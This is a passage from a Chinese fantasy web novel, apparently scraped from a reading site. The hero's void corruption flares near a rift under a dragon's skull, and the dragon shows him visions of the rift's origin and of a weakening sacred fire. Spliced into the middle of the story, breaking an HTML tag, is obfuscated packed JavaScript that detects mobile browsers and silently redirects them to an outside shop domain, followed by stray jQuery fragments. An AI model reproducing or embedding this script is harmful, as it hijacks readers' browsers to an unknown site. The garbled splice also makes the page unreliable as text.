白雾散到了颅骨上方最薄的那一层之后停住了。
像一层被无形力量托举的轻纱,悬在那里纹丝不动。
白龙停止传递新画面,它在等公孙锡做决定。
公孙锡站在巨大的颅骨下方,抬头望着那片静止的白雾。
他能感觉到雾中包裹着某种意志的重量。
那种重量不是压迫,而是等待。
一个存在了数千年的灵魂正在注视着他,等他迈出那一步。
他往颅骨下方走了几步,靴底踩在坚硬的岩层上发出细碎的摩擦声。
他想看清楚裂隙里那道紫光到底是什么东西。
距离裂隙还有三四步的时候,右臂猛地往后一扯。
步子硬生生停了下来。
起初只是一阵钝痛,从小臂深处翻涌上来。
紧接着皮肤下的血管一根接一根鼓出来,变成了深黑色。
像有人用墨汁在他前臂内侧画出了一幅扭曲的脉络图。
污染纹路从小臂往上臂方向蔓延出了几条新枝。
那些新生的纹路顶端带着细小的分叉,顺着肌肉纹理向肩膀方向攀爬。
速度不快,但每一寸推进都带着灼烧般的刺痛。
纹路在手臂上像活物一样扭了一下。
不是错觉,是肉眼可见的蠕动。
仿佛有什么东西正蛰伏在他的血管里,被裂隙中渗出的某种力量唤醒了。
莉莉安从侧面拉住了他的左臂。
她的动作没有犹豫,像是早就预判到会出这种事。
拽离裂隙范围好几步之后,纹路才停止扩张。
那些深黑色的血管缓缓沉回皮肤之下。
扭曲的纹路收拢退却,最终只剩下原来就在前臂上的那几道旧痕。
整个过程不过几个呼吸的工夫,但公孙锡的后背已经被冷汗浸透了。
他低头扯掉右手手套。
掌心里全是细汗,在寒气中泛出微微的白雾。
手指在发抖,指节僵硬得几乎没办法自如弯曲。
他把手掌翻过来看,掌心那道最深的污染旧痕从手腕延伸至中指根部。
此刻正微微泛着不正常的紫黑色光泽,像是刚被什么东西激活过。
龙骨散发的温热一直在压着裂隙里的虚空残留。
他能感觉到那股温热像一道持续不断的潮汐,从颅骨深处向外扩散,将裂隙里渗出的某种力量不断冲散中和。
但刚才那一瞬,裂隙渗出的微量虚空力量还是穿透了龙骨的压制,和他体内的污染产生了共振。
那股力量恐怖而又熟悉。
它来得极快极轻,像一根极细的针无声无息地扎进骨髓深处,然后在他体内搅动了一下。
就是这一下,让他想起了那栋大楼里裂隙中恶魔的眼睛。
那双眼睛也是这种颜色。
紫黑色的,没有瞳孔,里面翻涌着虚空深处某种活着的意志。
当时他隔着裂隙的边界与那双眼睛对视了一瞬,污染就是从那一刻开始在他体内扎根的。
而此刻,圣山裂隙里的虚空力量虽然被龙骨压制了数千年,但那股力量的本源,和萨多玛大楼裂隙里恶魔的眼睛,是同一种东西。
白龙的雾气从颅骨上方往下移。
雾丝缓慢而准确地飘到他手臂前面,绕着他前臂转了一圈。
那圈雾气所到之处,污染纹路残余的灼烧感像被清凉的水冲刷过一样消退下去。
雾丝在他手腕处停了一瞬,然后浮起来,重新停在颅骨上方。
龙开始传递信息。
这一次的画面比之前更清晰,更急迫。
它身下裂隙里的东西,和萨多玛的污染是同一片源头。
这个信息被龙用两组并置的画面传递过来。
一组是圣山深处裂隙里翻滚的紫黑色虚空能量。
另一组是公孙锡记忆中萨多玛大楼裂隙里那只恶魔的眼睛。
两组画面被龙叠在一起,分毫不差地重合了。
污染的本源就在这座山体下面,被龙骨压了几千年。
刚才那一下只是裂隙最外层的外溢。
龙传来的新画面里,裂隙像一颗被层层包裹的毒核,最外层只是一层极薄的能量膜。
刚才的共振正是从这层膜里渗出来的。
如果裂隙完全打开,画面会骤然切换。
他离这么近受到的共振会把他的污染引爆。
不止是加剧痛苦,是直接要命。
画面里他体内的污染纹路瞬间扩展到全身。
血管全部变成黑色,皮肤下的纹路像根系一样扎进内脏和骨骼。
然后整个人从内部开始崩解。
圣山上的龙把裂隙一直压着几千年。
龙传来的画面是一条活着的白色巨龙伏在山巅。<b
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17875253|208910||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
r>
龙息从口中持续吐出,像一道永远不会熄灭的火柱灌入山体裂缝。
裂隙深处的虚空力量在持续往外渗。
但每次渗到龙骨附近,就被龙骨自身散发的热度和龙息所化的雾影一层层中和掉。
像滚水浇在冰面上,两股力量在接触面上不断抵消、消耗、再生。
几千年来,这种对抗从未停止过。
但裂隙最近在变强。
龙传来一组对比画面。
几百年前裂隙的紫色光芒只有拳头大小,被龙骨压得几乎看不出形状。
而现在,紫光已经膨胀到颅骨下方的半人高度,边缘还在缓缓扩张。
为什么变强?
因为原初之火在变弱,两者之间的平衡被打破了。
龙传来的画面中,裂隙的紫光与原初之火的蓝色光芒此消彼长。
像一架天平的两端,一端在下沉,另一端就必然在上升。
公孙锡把手套戴了回去。
他把右手缓缓握拳再松开,反复几次,直到指节的颤抖彻底平息。
他在心里把龙在雾中说的话想了一遍。
加强原初之火,就是加强封印。
龙本身的身体骨架可以一直压着裂口。
龙死后骨骼不腐,龙骨内部的能量结构仍然完整,那股压制裂隙的温热就是龙骨本身残留的生命之力。
但光是压住裂口不够。
裂隙里的虚空力量需要被火焰持续消耗和转化,原初之火起的就是这个作用。
而火焰的燃烧需要骨髓中的能量。
骨髓是龙族生命精华最后的载体,是唯一能续燃圣火的燃料。
白龙接着往下传了另一组画面。
这组画面带着一种古老的怀念,像是从龙魂最深处的记忆里翻找出来的旧日图景。
画面里的龙活着时,每年飞过一次北境最高峰。
它巨大的白翼掠过积雪的山脊,龙息从喉中吐出,往一团光茧里吹一口气。
那团光茧悬浮在山巅的祭坛上。
内部有三层环状光圈,内层是蓝色核心,蓝得像凝固的晴空。
外层是两圈白光,转动时发出低沉的嗡鸣,带着某种星辰运行的韵律。
龙吹息的那一刻,三层光圈同时亮一下,转速加快。
整团光茧的温度升高,热浪将周围数十米内的积雪全部融化。